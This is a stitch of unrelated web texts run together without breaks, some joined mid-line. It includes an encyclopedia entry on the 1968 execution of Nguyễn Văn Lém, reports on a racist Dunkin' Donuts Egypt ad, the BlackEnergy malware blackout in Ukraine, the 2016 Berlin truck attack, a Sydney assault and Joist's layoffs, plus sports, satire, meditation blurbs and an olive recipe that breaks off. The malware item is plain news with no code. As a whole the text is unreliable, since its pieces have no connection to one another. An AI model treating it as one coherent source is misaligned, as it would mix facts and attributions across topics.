Nguyễn Văn Lém was a Viet Cong officer or Captain and was known by the code name "Bảy Lốp". His wife, Nguyen Thi Lop, explains that his code name consisted of "Bảy" for seventh son, and "Lốp" from her own name.[2]
Execution [ edit ]
Lém was captured near the An Quan pagoda on 1 February 1968, during the Tet Offensive.[3] He was brought to Brigadier General Nguyễn Ngọc Loan, Chief of the Republic of Vietnam National Police at 252 Ngô Gia Tự Street, District 10 ( ) near the modern day Chùa Trấn Quốc temple.[4] Loan summarily executed Lém using his (Loan's) sidearm, a.38 Special Smith & Wesson Bodyguard revolver.[5] Lem was 36 years old at the time of his death.[2]
Witnessing the event was Associated Press photographer Eddie Adams and NBC News television cameraman Vo Suu.[6]
Max Hastings, writing in 2018, noted that Lém was in civilian clothes and was alleged to have just cut the throats of South Vietnamese Lt Col Nguyen Tuan, his wife, their six children and the officer’s 80-year-old mother.[7]
According to Article 4 of the Third Geneva Convention of 1949, irregular forces are entitled to prisoner of war status provided that they are commanded by a person responsible for his subordinates, have a fixed distinctive sign recognizable at a distance, carry arms openly, and conduct their operations in accordance with the laws and customs of war. If they do not meet all of these, they may be considered francs-tireurs (in the original sense of "illegal combatant") and punished as criminals in a military jurisdiction, which may include summary execution.[8]
Aftermath [ edit ]
The photograph and footage were broadcast worldwide, galvanizing the anti-war movement.[9] Adams' photo of the event won him the 1969 Pulitzer Prize for Spot News Photography.[10]
Lem's wife, Lop, learned about her husband's death when she was given a newspaper with the photo on the front page.[11]
In 1975, Nguyễn Ngọc Loan fled South Vietnam during the Fall of Saigon, eventually emigrating to the United States.[12] Pressure from the U.S Congress resulted in an investigation by the Library of Congress.[13] In 1978, the Immigration and Naturalization Service (INS) contended that Loan had committed a war crime based on that Library of Congress report, which had concluded that the execution was illegal under Vietnamese law.[14] They attempted to deport him, but United States President Jimmy Carter personally intervened to stop the proceedings, stating that "such historical revisionism was folly."[15][16] Loan died on 14 July 1998 in Burke, Virginia, at age 67.[1]
See also [ edit ]Dunkin' Donuts has made a public apology on behalf of its Egyptian franchisee after an anti-black online advertisement for glazed doughnuts led to a social media backlash.
Dunkin' Donuts has made a public apology on behalf of its Egyptian franchisee after putting out an online advertisement widely viewed as racist and leading to a social media backlash.
Last week, Dunkin' Donuts Egypt decided it was a good idea to post an ad on its Instagram account of a chocolate glazed doughnut next to a sugar-frosted one.
The caption read: "Blackness equals a half beauty. Whiteness equals total beauty".
The slogan played on an old-fashioned folk proverb now widely deemed by many Egyptians as being highly offensive.
To make things worse the accompanying text read: "Because we are against racism we'll eat both not just one. Which will you choose?"
It wasn't long before social media users caught wind of the ad, prompting the franchise to quickly remove the offending image.
On Tuesday, a Dunkin' Donuts spokesperson made an apology to Egyptian state media: "As soon as we became aware of the social media post by our Egyptian franchisee, we asked for it to be removed. Our franchisee immediately complied. We apologise for the offence this posting caused."
The Egyptian franchisee, however, has yet to issue a statement of its own on the incident.
Egyptian newspapers have used highly offensive terms
when blaming criminal activity on black communities
[Youm7]
Egypt's black community constitutes a substantial proportion of its population. Yet many Egyptians consider them an inferior minority, subjecting them to varying degrees of racial discrimination.
The folk saying used in the doughnut advert perpetuates the commonly-held belief that having pale skin - especially with women - is more desirable and attractive than dark skin.
Nubians, who have markedly more African features than most Egyptians, have long been presented in films as either bumbling illiterate caricatures or as obedient domestic workers and doormen.
Meanwhile Nubian women appear as nannies, maids or exotic fortune tellers.
In May, an Egyptian official landed himself in hot water after its envoy to a UN meeting in Nairobi described sub-Saharan African nations as "dogs and slaves".
A major Egyptian newspaper used the word Zunouj, Arabic for "n******", for a front-page story in July on the Black Lives Matter protests in the US.
Sudanese and Nubian people living in Egypt have previously told The New Arab about their experiences in the country and the kind of ill treatment they were subjected to based on the colour of their skin.
"In the street, people call you different names if you are black, like chocolate or blacky," Mamado Hawary, a Sudanese-Egyptian living in Cairo said.
"Also zarboon, which means slave."While 2015 was rife with news of hackers stealing data from governments, health insurers and adultery sites, it looks like targeting our energy infrastructure might be the next big thing in cyberattacks.
Three regional power authorities in Ukraine were infected with malware last week, leading to a blackout across hundreds of thousands of homes in the Ivano-Frankivsk region.
Ukrainian news service TSN reported that the outage was the result of malware that disconnected electrical substations. Researchers from security firm iSIGHT Partners, who said that they had obtained samples of the malicious code, echoed the report.
If those findings are true, it would be the first-ever case of malware taking down a power grid.
John Hultquist, head of iSIGHT’s cyber espionage intelligence practice, told Ars Technica:
It’s a milestone because we’ve definitely seen targeted destructive events against energy before—oil firms, for instance—but never the event which causes the blackout. It’s the major scenario we’ve all been concerned about for so long.
Security software developer ESET noted on its blog that a trojan from the BlackEnergy malware family — which was first discovered in 2007 — might have been used to inject malicious code into the Ukrainian power authorities’ systems. The latest version of the tool has been found to include a secure shell (SSH) utility that can grant access to affected users’ systems.
ESET also reports that the Ukrainian power grid systems were infected using macro functions embedded in Microsoft Office documents.
Given our ever-increasing reliance on electronic devices, the ability to shut down power grids could be the ultimate tool for hackers to get their way.
In 2014, the hacker group behind BlackEnergy attacked numerous targets including the North Atlantic Treaty Organization (NATO), as well as Ukrainian and Polish government agencies. Although iSIGHT believes the group has ties to Russia, it isn’t clear exactly where it is based and what its aims are.
➤ First known hacker-caused power outage signals troubling escalation [Ars Technica]
Read next: Garmin's $399 headset for cyclists brings rear view and notifications into your line of sightI have a small quadcopter that fits in my hand which I enjoy using. To call what I have and this gas-drinking monstrosity by the same name seems wrong, but just as an elephant and a mouse are both animals, they are, on some level, the same thing. On the other hand, while mine flies quite well, and cost around $50, this one is still in the experimental stages.
As stated in the first video, the single motor “weighs in” at 30 horsepower, and uses belts to drive each propeller. The whole design is meant to use as much off-the-shelf technology as possible, and the design is open source.
As seen in the video below, there are a lot of forces at work here, and after some belt issues, one of the propellers cracked. Builder Peter McCloud thinks he can prevent this from happening in the future, so like most projects, it will be a learning experience. I think it should also serve as a reminder to be careful when experimenting with something, especially involving a large engine and/or rotating parts. It’s good to learn to fix a machine, but it’s |
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Fun! Flow Painting Meditation by Sharon Lemay
Why I love this class: What a beautiful concept! I love the combination of meditation and painting! Sharon begins with a meditation accompanied by nature images and sounds, then demonstrates a very easy, meditative technique for creating gorgeous abstract paintings. There’s no way you can make a mistake with this approach, which makes this a great class for students who may want to learn to paint but feel intimidated by the process.
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Meditation for Beginners: How to Meditate Without Silencing Your Mind
This class was awesome, a great and short introduction to get you started, in a comfortable way
This is a much-needed class for most people.
Learning to meditate is far easier than most people think.
In this class, Ken walks you through a simple 10-minute meditation, that is ideal for beginners or those still having trouble meditating.
It’s a simple technique that can be practiced by anyone, without having to silence your mind.
5-Day Meditation Challenge by Phil Ebiner
The course offered a very positive approach to starting my day. It helped me to recognise the things that caused anxiety, and it gave me the tools to deal with it. It definitely helped me to focus on my goals for the day.
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12:12 a.m. ET -- Police in Berlin said on Twitter that investigators believe the truck was deliberately driven into the Christmas market, and is considered “likely” a terrorist attack.
Unsere Ermittler gehen davon aus, dass der LKW vorsätzlich in die Menschenmenge auf dem Weihnachtsmarkt am #Breitscheidplatz gesteuert wurde — PolizeiBerlinEinsatz (@PolizeiBerlin_E) December 20, 2016
Alle polizeilichen Maßnahmen zu dem vermutlich terroristischen Anschlag am #Breitscheidplatz laufen mit Hochdruck und der nötigen Sorgfalt. — PolizeiBerlinEinsatz (@PolizeiBerlin_E) December 20, 2016
8:52 p.m. ET -- Police in Berlin say the passenger who died in the truck that rammed into a Christmas market was a Polish national.
In their posting on Twitter early Tuesday, police don’t identify the man or give other details.
The Polish owner of the truck said earlier that he feared the vehicle may have been hijacked.
Authorities say 12 people were killed when the truck smashed through the market. Four dozen people were taken to hospitals for injuries, some of the serious.
7:57 p.m. ET -- Police in Berlin tweeted an updated death toll Monday evening after a truck plowed down a crowd at a Christmas market.
Police raised the death toll from nine to 12 dead, and 48 injured.
Traurige Gewissheit, heute verloren am #Breitscheidplatz 12 Menschen ihr Leben, 48 liegen, zum Teil schwer verletzt, in Krankenhäusern. — PolizeiBerlinEinsatz (@PolizeiBerlin_E) December 20, 2016
6:47 p.m. ET -- Germany’s top security official says that he’s not ready to call the incident at the Berlin Christmas market an “attack,” but adds that there are many indications pointing to the truck crash that killed nine people as having been intentional.
Interior Minister Thomas de Maiziere tells ARD television: “I don’t want to use the word ‘attack’ yet at the moment, although a lot speaks for it.”
De Maiziere adds that “there is a psychological effect in the whole country of the choice of words here, and we want to be very, very cautious and operate close to the actual investigation results, not with speculation.”
6:35 p.m. ET -- Vice president-elect Mike Pence said on Twitter that his prayers go out to the victims and families of “today’s terror attacks.”
“Those who employ violence to inspire fear will not prevail,” he said.
Our prayers go out to the victims of today's terror attacks and their families. Those who employ violence to inspire fear will not prevail. https://t.co/0tC8bE4ZOz — Mike Pence (@mike_pence) December 19, 2016
6:30 p.m. ET -- U.S. President-elect Donald Trump tweeted Monday evening about the truck crashing into a crowd at a Christmas market in Berlin.
“Today there were terror attacks in Turkey, Switzerland and Germany -- and it is only getting worse. The civilized world must change thinking!” he said.
Today there were terror attacks in Turkey, Switzerland and Germany - and it is only getting worse. The civilized world must change thinking! — Donald J. Trump (@realDonaldTrump) December 19, 2016
He also released a statement, calling what happened in Berlin a “horrifying terror attack.”
“Innocent civilians were murdered in the streets as they prepared to celebrate the Christmas holiday,” the statement read. “ISIS and other Islamist terrorists continually slaughter Christians in their communities and places of worship as part of their global jihad. These terrorists and their regional and worldwide networks must be eradicated from the face of the earth, a mission we will carry out with all freedom-loving partners.”
6:15 p.m. ET -- Italian Foreign Minister Angelino Alfano says he was “deeply stricken and pained” by the deaths of nine people in Berlin when a heavy truck crashed into a Christmas market.
Though German police say it is too early to call whether the incident was intentional, Aflano refers to as an attack.
In a statement provided by Italy’s foreign ministry, Alfano expresses closeness to Germans “in this sad moment that instead should be of joy and peace in the approach to the Christmas holidays.”
Alfano says attacks “won’t change our determination to combat terrorism” alongside international partners and in particular Germany, saying the two countries are in strict coordination.
Separately, Italy’s ambassador in Berlin, Pietro Benassi, told Italian state TV that German authorities couldn’t say yet if any foreigners were among the victims.
6:04 p.m. ET -- Mike Fox, a tourist from Birmingham, England, told The Associated Press at the scene that the truck missed him by about three meters.
“It was definitely deliberate,” Fox said. He said he helped people who appeared to have broken limbs, and that others were trapped under Christmas stands.
The truck came to a halt on a sidewalk on one side of the market, shortly after ramming a large stand called “Fascination Christmas,” ripping off one side and knocking down a large Christmas tree. The three-meter tree lay in the street, red and gold ornamental balls still attached to its limbs and a golden star at the top.
5:42 p.m. ET -- The NYPD is monitoring the events in Germany and around the world today, and stepping up security, the Office of the Deputy Commissioner, Public Information (DCPI), said in a statement.
Police in U.S. reacting to Berlin truck incident
“The Department has moved highly trained teams, including the Critical Response Command, to high profile locations around New York City. In the coming days, we will look to learn more about what occurred to inform the NYPD’s operations, deployments, and training of officers,” the statement said.
5:33 p.m. ET -- A Berlin police spokesman says that in addition to the nine dead in a Christmas market about 50 people were injured, including several critically.
Winfried Wenzel told The Associated Press at the scene that among the fatalities was the passenger of the truck, who died as paramedics treated him at the scene. He offered no details on how the passenger was injured.
Wenzel said the truck was registered in Poland, but that police were still investigating where it came from and who the driver is.
The Polish owner of the truck said he feared the vehicle, driven by his cousin, may have been hijacked. Ariel Zurawki said he last spoke with the driver around noon, and the driver told him he was in Berlin and scheduled to unload Tuesday morning.
Zurawki said that “they must have done something to my driver,” he told TVN24.
Berlin’s top security official, state interior minister Andreas Geisel, told RBB television that it was too early to say whether it was an attack, and said that reports the truck may have been hijacked were “pure speculation.”
5:22 p.m. ET -- The White House released a statement Monday evening about the truck plowing through the crowd at the Berlin Christmas market.
“The United States condemns in the strongest terms what appears to have been a terrorist attack on a Christmas Market in Berlin, Germany, which has killed and wounded dozens,” the statement read in part. “We send our thoughts and prayers to the families and loved ones of those killed, just as we wish a speedy recovery to all of those wounded.”
4:53 p.m. ET -- Berlin police are encouraging people to use a Facebook safety check to learn if loved ones are safe after a truck plowed into a crowded Christmas market.
The tweet linked out to Facebook, which has set up checks periodically after natural disasters and attacks around the world.
But police also asked people to refrain from spreading videos to protect privacy
4:40 p.m. ET -- Germany’s justice minister says that federal prosecutors, who handle terrorism cases, are taking over the investigation after a truck rammed into a Christmas market in Berlin.
Heiko Maas didn’t give further details in a post on Twitter Monday night about the “shocking news” from the capital. He added: “we are mourning with the relatives” of the victims.
Interior Minister Thomas de Maiziere says that he’s in constant touch with security authorities, but didn’t give any indication in a statement whether they believe the incident was an attack.
BERLIN - At least 12 people were killed and dozens injured when a truck plowed through a crowd at a popular Christmas market in Berlin late Monday, police said.
Polizei Berlin said that a suspect had been arrested near the scene. A passenger in the truck died at the scene, although it’s not clear how or when that happened yet. The identity of the passenger and arrested suspect have not been released. Police spokesman Winfried Wenzel told ZDF television that the suspect arrested was believed to be the truck driver.
The incident happened in Breitscheidplatz, a major square in the center of the German capital, that is normally filled this time of year with people celebrating the holiday season.
While officials haven’t stated whether it was an purposeful attack or an accident, CBS News correspondent Charlie D’Agata reports that witnesses said there was little doubt it was a deliberate attack based on the way it jumped the curb.
Additionally, the incident happened just a few weeks after the U.S. State Department warned that various terrorist groups were going to be targeting outdoor markets and festivals this holiday season throughout Europe.
A large Scania truck with its windshield smashed out could be seen on the sidewalk alongside the market, although officials have not yet confirmed that it was the truck used in the attack.
Witness Shandana A. Durrani said she was walking and texting when the truck entered the market about 20 feet away. She said she heard some popping but wasn’t sure if it was a gun or not.
“If I hadn’t stopped to check my phone, I would have been hit,” Durrani said. “Everyone went scurrying. So many people hurt.”
She said the way the market was laid out, “there was just no place to run so a lot of us hid behind other stalls.”
Every year, the city of Berlin hosts a Christmas market there near the fashionable Kurfuerstendamm avenue. The incident happened at the foot of the landmark Kaiser Wilhelm memorial church, which was kept as a ruin after World War II.
Several people in the U.S. intelligence community told CBS News that the situation in Berlin has all the hallmarks of a terror attack.
Officials here in the U.S. say it bears similarities to the recent terror attack in Nice, France - in which 86 people were killed and hundreds injured - and is what terror groups have been calling for their followers to do.
German police have recently rounded up a series of people for planning attacks on Christmas markets, and even detained last week a 12-year-old Iraqi boy for attempting to set off a nail bomb in one of them.
CBS News correspondent Margaret Brennan reports the U.S. State Department issued a warning in late November specifically cautioning Americans in Europe to “exercise caution at holiday festivals, events, and outdoor markets.” The release cited ISIS, al Qaeda and “their affiliates” as planning attacks using “conventional and non-conventional weapons” focusing on the upcoming holiday season and “associated events.”
Many in Germany have been fearful of a rise in terrorism since the country took in more than a million migrants and refugees last year, mostly fleeing conflict in the Mideast.
German prosecutors were already investigating a 12-year-old boy who allegedly attempted to set off a nail bomb at a Christmas market in the southern city of Ludwigshafen last week.
The German-born son of Iraqi parents is alleged to have tried to set off the device at the Christmas market on Nov. 26, and again outside city hall on Dec. 5, Focus magazine reported, citing security sources.
In the second failed attempt, a passer-by spotted the backpack containing the device and reported it to authorities. Inside they found a glass jar packed with firecrackers with nails taped to it, Focus reported.
Police said it would have burned but would not have exploded.
Stephan Meyer, the parliamentary spokesman on security issues for Chancellor Angela Merkel’s conservative bloc, said the boy apparently had turned rapidly to Islamic extremism.
“This shows how quickly the radicalization of a young person, a child, can take place,” he said.
In the Nice attack, officials said Mohamed Lahouaiyej Bouhlel deliberately drove a 19-ton truck into thick crowds on the French Riviera celebrating the country’s independence day.A man, left, has been charged over the assault of Simon Cramp. Credit:Kate Geraghty Two other men also presented themselves to police but were released without charge pending further investigations. The announcement by police came as Mr Cramp, 26, was moved from the intensive care unit at Sydney's St Vincent's Hospital to the general ward. Mr Cramp was allegedly assaulted on George Street in the city in the early hours of Sunday morning. Police have been told Mr Cramp, from Cremorne Point, was assaulted by a group of about three men, who were accompanied by three women, about 3am on Sunday.
First words: Simon Cramp. Credit:Facebook He was standing under the awning of a McDonald’s restaurant when he allegedly was set upon by the group who, minutes earlier, had been allegedly involved in a separate brawl with another group of men a short distance away. About 8.30am on Tuesday, two men arrived at The Rocks police station with their lawyers. A police spokeswoman said they had not been arrested, and were assisting with the investigation. Simon Cramp's parents, Angela (centre) and Phillip Cramp, are staying close to their son at St Vincent's Hospital. Credit:Ben Rushton The barrister for one of the men, John Korn, said his client contacted him on Monday night saying he wanted to go to police.
"[He] came here completely of his own accord," Mr Korn said. "I spoke with police last night and we made a mutually convenient time to come here this morning." Bashed: Simon Cramp. Credit:Channel Seven Our son is living a nice life, having fun, doing what normal people do. To end up in life support at St Vincent's because he was out with his friends in George Street in Sydney is just dreadful. The third man presented himself to police later in the day and was later charged. 'We shouldn't have that'
Mr Cramp’s mother, Angela, told Macquarie Radio late on Monday that her son had opened his eyes after two days in an induced coma. "He started sort of coming awake, and we were talking to him, he sort of fluttered his eyes and said ’Hey mum, what’s happened?’," she told the radio network. Mrs Cramp says her son, who grew up in Goulburn before moving to Sydney for work, is a very active person who enjoys running, skateboarding and snowboarding and he still has a lot of healing to do. "It's been horrific," she said. "Our son is living a nice life, having fun, doing what normal people do. To end up on life support at St Vincent's because he was out with his friends in George Street in Sydney is just dreadful. That's wrong, we shouldn't have that in our community. Our community has to do something about this."
Mitch Gardiner watched the first fight and then looked on as the men walked up the street and attacked his friend out of nowhere, saying they were just in the "wrong place at the wrong time". "I thought he was dead instantly," Mr Gardiner said. "Just sheer terror, his head bounced off the ground and I was just looking at his chest to see if he was still breathing because I feared the worst." Mr Gardiner rushed to his friend's aid but said he had to push the attackers away who continued to act "aggressive" even after Mr Cramp hit the ground. "I just want my friend to get better," Mr Gardiner said. "I want them brought to justice but at the end of the day all I'm thinking about is my friend up there who is struggling." "Detectives believe the three men and three women shown in the CCTV footage may be able to help with their inquiries," police said.
Earlier on Monday, acting Rocks police superintendent Tony Bell compared the incident with the fatal attack on Thomas Kelly in Kings Cross last year. Mr Kelly, 18, died last July two days after being king hit as he walked along the street during a night out with his girlfriend. Superintendent Bell said shortly after 3.20am on Sunday there was a brawl involving two groups of people outside an all-night fast food restaurant on the corner of George and Bridge streets. One man was injured in that altercation. Soon afterwards a group of men launched what appears to be an unprovoked attack on Mr Cramp about 30 metres down the road.
"He's just there with his group of friends, doing nothing wrong at all," Superintendent Bell told Fairfax Radio. "This could have been another Thomas Kelly incident - an innocent bystander doing nothing wrong, out having a great night... with his friends and copping a punch to the head for no reason," he said. with AAPThe average cost of renting land to raise crops in Wisconsin has increased from last year, a trend that comes as corn prices have been falling.
The National Agricultural Statistics Service says the average rent for cropland in Wisconsin increased by $10 an acre to $130 in 2014. The most expensive area to rent non-irrigated cropland is in Lafayette County in southwestern Wisconsin, while the cheapest is in Ashland County in the northwest.
“Rents will be highest in those areas where we can get the highest return from the crops,” said Bruce Jones, a professor of agriculture economics at University of Wisconsin-Madison. “So the southern tier — maybe Rock County and Dane County — tend to have higher rents. As you get further north, where productivity of the land is a little less and climate is less conducive to row crops, you see a fall off of rents farmers have to pay in those areas.”
Jones said rents generally go up as commodity prices rise.
“The commodity prices lead the rent,” he said. “And corn prices shot up in 2008, tempered a little bit in '09, went up back up in '11, '12 and '13 — and rents followed. Now corn prices have fallen off rather dramatically, so we would expect to see rents starting to follow those lower corn prices. ”
He says if there's an extended period of low corn prices, at somewhere between $3.50 and $4 a bushel, then rent for cropland might decline.Adrian Clayborn's groin injury is not as serious as previously feared. Greg Schiano said that the defensive end should miss a few days. Clayborn was at 80% before today, Schiano noted, and he was riding the stationary bike during practice today. That generally means it's not too serious.
Unfortunately, every day missed can be an issue for a player rehabbing a knee injury. Clayborn had been making good progress and was slowly ramping up his participation in practice, but that progress is now halted for at least a few days. The Buccaneers need Adrian Clayborn out there and playing at a high level this season if they want to improve on last year's awful pass defense.
The Bucs are now missing their top edge rusher from last season in Michael Bennett, while Da'Quan Bowers has been a little disappointing so far this offseason. Behind those two, Daniel Te'o-Nesheim, Aaron Morgan, Steven Means and William Gholston all have some potential -- but it's a big step from potential to production.
Adrian Clayborn doesn't seem too worried, at least.
Why are news papers so dramatic. I guess that's what sell papers(or gets their website views)....ill be back soon — Adrian Clayborn (@AJaClay) August 1, 2013
More from Bucs Nation:In an unprecedented feat of strength, Swiss professional wrestler Antonio Cesaro delivered his signature finisher, The Neutralizer, to a full-sized blue whale.
“Look at the power!” hollered commentator Michael Cole, as Cesaro hoisted the gargantuan sea mammal into the Gotch-style pancake cradle piledriver.
More from Kayfabe News
“I’ve never seen anything like it,” added commentator John Bradshaw Layfield, truthfully.
Cesaro had previously wowed wrestling audiences by delivering The Neutralizer to oversized wrestlers including 375-pound Brodus Clay and the seven-foot-one-inch Great Khali.
The blue whale, being the largest creature to ever live on earth, posed quite another challenge entirely, though. Cesaro struggled momentarily to wrap his arms around the whale’s incredible girth.
Cynics point out that the whale probably assisted the move by pushing off the ring mat with its tail, but others suggest the whale, being out of its usual aquatic habitat, was lethargic and sandbagging.
Greenpeace is investigating.Earlier this week, BetaKit broke the news of significant layoffs at Toronto-based startup Joist. Speaking with CEO Justin Kathan to confirm, the co-founder stated that approximately 60 employees had been laid off as part of a company-wide move to San Francisco, with approximately 30 employees making the move to the Bay Area. Kathan claimed that the reasons for the move were twofold: access to customers and senior-level talent not available in Toronto.
The news, somewhat predictably, caused an uproar amongst the Toronto startup community, which engaged in a long debate as to whether Kathan’s stated reasons for the move made sense, and if the Toronto community does indeed have the senior talent to compete at a global level (this part of the debate is not new). A huge outpouring of support was also found via the #Joist60 hashtag on Twitter, with many startups offering support and interviews to the now displaced workers, in a similar fashion to what followed VarageSale’s recent layoffs.
There was a second public outcry, however, amongst Joist’s former employees, many of whom took to the comments section of BetaKit’s original article to argue against Kathan’s narrative of how many people were laid off, and why. BetaKit has spoken to as many of these former employees as possible (under the condition of anonymity, as outgoing Joist staffers were forced to sign an NDA in order to receive parts of their severance, including stock options), as well as insiders familiar with the company’s operations. Unless specifically noted, all information found below has been cross-referenced via multiple sources who could confirm their identity.
Who is a Joist employee?
The first point of contention relates to the number of employees actually laid off by Joist earlier this week. The initial tip BetaKit received indicated that at least 80 employees had been laid off from the company; this number has been confirmed by multiple former employees, with the higher estimations capped at 100 (a list of employee names matching Joist email addresses sent to BetaKit backs up the higher estimates).
“They fired everyone in the marketplace.”
– former Joist employee
The discrepancy in numbers seems to stem from two things: Joist’s large contingent of ‘direct sales’ people (cold-callers, door-to-door walkers, etc.), and confusion as to what constitutes a full-time employee at the company.
According to one Joist investor, speaking on condition of anonymity, the vast majority of the those terminated were considered by the company to be either these commission-based contract workers, or part-time sales employees – not part of the ‘core’ team. Of the ‘core’ Joist team (i.e. product or engineering), only a handful were laid off (and if you believe BetaKit’s comment section, this handful included new recruits on their first week – or day! – of employment).
Putting aside the notion that either part-time, commission-based, or sales-focused employees somehow don’t really count, this estimation was swatted away by confirmed, full-time Joist employees, in multiple positions across the company.
“Generously, I would say that 50 percent of [the direct salespeople] were part-time, but that’s the most,” said one laid-off employee, who estimated “20-30 people on the Product/Engineering” side of the company, and “60-80 people in the marketplace,” responsible for connecting contractors with homeowners for home improvement work.
“They fired everyone in the marketplace,” the employee said.
The former employees BetaKit spoke with also claimed that Kathan’s estimate of approximately 30 Joist workers offered a role in San Francisco as too high, with best estimates placing it somewhere between 10-20. The discrepancy may be due to the fact that of those offered a role, several are unlikely to accept due to personal and family reasons. BetaKit’s sources informed us that some of those people received relocation notifications and offers while on vacation, only coming to understand what was happening as their phones blew up.
Joist’s revenue model
The second of Kathan’s stated reasons for Joist’s relocation was customers, of which he claimed 90 percent are located in the United States. Multiple sources confirmed with BetaKit that this is not the case, with the numbers in fact reversed, and approximately 90 percent of Joist’s customers located in the Toronto area, and the remaining percentage in the U.S. (Joist had a small team located in San Jose until the company closed the office two months ago; San Jose is still listed as one of two regions Joist services as of time of writing).
In fairness to Kathan, this could be a simple misunderstanding, conflating go-forward strategy with present conditions, as the CEO told BetaKit previously that “the U.S. has ten times as many homeowners as Canada.” Beyond its two-sided marketplace, Joist also provides a productivity app for contractors to aid with estimates and invoices, so the number could be in reference to app usage. However, the app is free and is considered a lead-gen tool to onboard contractors onto the marketplace – it doesn’t directly generate revenue.
More concerning for Joist is the fact that its marketplace wasn’t generating revenue either.
According to several former employees across the company familiar with the matter, Joist rallied around one key metric: GMV, or Gross Market Value (also sometimes called Gross Merchandise Volume). GMV essentially tracks the total sales value of a good or service sold through a marketplace; if you sell five books for $25 each, your GMV is $125. Joist’s GMV was based upon the estimated renovation project size from the contractor as approved by the homeowner. Joist’s revenue model operated on taking a cut from the project as paid by the contractor (often this was around 10 percent but could be a variable amount as negotiated with the contractors).
“We were shocked. The whole entire company rallied around GMV. And it was fake.”
Many of the employees at Joist considered GMV to be an indication of activity but not outcome. “They would report huge numbers to their shareholders and to their board, but GMV is just a vanity metric,” said one employee. “Companies who don’t make a profit report on GMV.” In Joist’s case, it was much worse.
Multiple employees at Joist told BetaKit that the way the company tracked projects was fundamentally flawed, in that it only tracked committed contracts, not closed contracts. With no oversight process in place, cancelled jobs, contractors failing to pay (or moving contracts off Joist’s platform to avoid paying) would go completely untracked. “Once it gets booked, it’s a project, and projects aren’t really followed up on,” one former employee said. The faulty process also created a window of opportunity for quota-hungry salespeople to game their numbers, knowing there would be no repercussion.
“We didn’t even know when jobs were completed because it would get cancelled and we wouldn’t know,” another employee told BetaKit. “Because no one cared.”
The Joist staff became generally aware of the impact the booking process was having on the company a few months prior as an internal audit revealed a giant disparity between reported GMV and total revenue collected. Specific revenue goals were finally set in April, factoring in an expected dropoff from GMV (remember, jobs get cancelled, things happen), and the results were still staggering: less than 20 percent of expected revenue was actually collected. In terms of total revenue, previous months had been much worse (BetaKit has declined to publish specific monthly revenue totals provided by multiple former employees).
“We were shocked. The whole entire company rallied around GMV. And it was fake.”
Joist’s new office
The revenue wake-up call came shortly after Joist signed a 10-year lease for its 13,000 square foot King Street office. The space was supposed to be ready in November of last year, but a costly renovation project led by the OVO Fest designer (“we wanted to be trendy,” one employee said. “Like a Google.”) delayed entry until January, when much of the office was still unfinished (and remains so to this day).
“We wanted to be trendy. Like a Google.”
As money began to tighten, changes were made. Senior staff members with higher salaries were let go, and office space was rented out to other startups to save cash (Chef Hero is one startup currently in the space).
One notable moment occurred during a town hall meeting in February, when senior leadership slipped and told employees the company had 16 months of runway in the bank – at a town hall meeting in just September of the year prior, the total had been three years of runway.
Why San Fran?
While much of what Joist’s former employees told BetaKit explains the company’s dramatic staff reduction, the one element that still remains unclear is the motivation to completely relocate the company to San Francisco. A company such as one described above has bigger issues than ‘attracting global talent’ and Joist’s only foray into a U.S. market was deemed “not viable.”
“We couldn’t get enough of critical mass for any homeowner leads, it was just a completely different market,” one employee said.
Joist CEO Justin Kathan declined multiple requests to provide any additional comments on the record for this story.
In talking with former employees, there were several theories as to motivation – including the influence of Shawn Kernes, former StubHub CTO. While opinions of Kernes vary, most of the people generally agreed upon two things: a San Francisco resident, Kernes showed public disdain for working in Canada; Kernes’ opinion holds significant influence on Kathan, with whom Kernes stayed when in Toronto.
Others speculated that a move to San Francisco provided Joist an opportunity to reset the business under the watchful eye of more senior management and investors in the Valley. The Joist investor that BetaKit spoke with (while conceding that the TO-WR corridor is “the best place to build a startup in Canada”) remains bullish on the company, going so far as to say “I think Joist is one of the most promising companies in my portfolio.” Their argument for? Marketplace-based startups are incredibly hard, and some investors would prefer solving the operational issues Joist has faced than those that have brought down startups “that were not concerned with real growth.”
The investor also praised Kathan’s ability to take consultation and communicate the status of Joist’s business to the board and its investors (a board meeting was notably held the Thursday prior to this week’s layoffs). It should be clear from the above that Kathan’s skill at communication and transparency did not extend to include Joist’s employees.
Kathan declined multiple requests to provide any additional comments on the record for this story.
More to the story
There were more details provided by former employees, particularly surrounding Joist’s culture and the (ongoing) handling of employee terminations, that BetaKit will continue to report on (those interested in speaking to BetaKit can drop us an email here).
BetaKit has written many times that startups are a painful venture at their best, and a complete mess at their worst. Much of the interest around Joist in recent days has stemmed from a desire to figure out (a) what exactly happened and (b) why. It is BetaKit’s hope that this article has provided a second side to the story.
BetaKit News Editor Jessica Galang contributed significant reporting to this article.We are a family of olive eaters. I love all olives, regardless of color. My son is a black olive only eater, while my husband and daughter are partial to green olives. We visit our local olive bars and buy jars of garlic or blue cheese stuffed olives for stocking stuffers. We are all in on olives. So it's not a coincidence that one of our favorite snacks/noshes/appetizers are these Marinated Castelvetrano Olives. They are very simple to make, and simply delicious.
I'm all about substituting ingredients and modifying recipes, but in this case, I wouldn't consider making this recipe without all of these ingredients.
Most of them are pantry staples (olive oil, garlic, shallots), but there are two ingredients which are essential to this recipe, Castelvetrano Olives and pink peppercorns. You simply cannot make this recipe without these two ingredients.
Costco regularly carries a 25 oz jar of Mezzetta brand Castelvetrano olives for $8.49. I keep a jar on hand for those times when Costco doesn't have them (it has happened!). The pink peppercorns are a bit harder to source in my area.
Some of these are affiliate links and I will earn a small commission off of the sale of these products, but the price you are charged is not affected. You can see my full disclosure policy here.
Whole Foods is the only store I've found in my area that carries the pink peppercorns. The ones I have now were ones I picked up in a great foodie store I found when we were touring colleges. I'll buy it where ever I find it. Amazon does carry them as well as the Castelvetrano olives.
Pink peppercorns are actually not true peppercorns, but are the ripe berries of the Brazilian pepper tree. I find they have sweet, almost pine-y taste and are much more delicate than true peppercorns.
My daughter and I just tossed a few in our mouths so that we could accurately describe them and were surprised at the sweetness. They give a subtle depth to light foods, like fish and chicken. AND OLIVES!
Castelvetrano Olives are solely grown in western Sicily, near the town of Castelvetrano. The olive is actually cured in lye to remove any bitterness and then heavily rinsed to remove all traces of the lye.
This treatment also helps preserve the bright green color of the Castelvetrano. I find this olive to be meatier, more buttery and have less of a bite than most other green olives.
Marinated Castelvetrano Olives Yield: 9 servings Prep Time: 10 minutes Marinade Time: 3 hours Total Time: 3 hours 10 minutes Castelvetrano olives marinated in olive oil, garlic, shallots and pink peppercorns Print Ingredients 3 cups drained Castelvetrano olives
1/4 cup very thinly sliced shallots
3 cloves garlic, thinly sliced
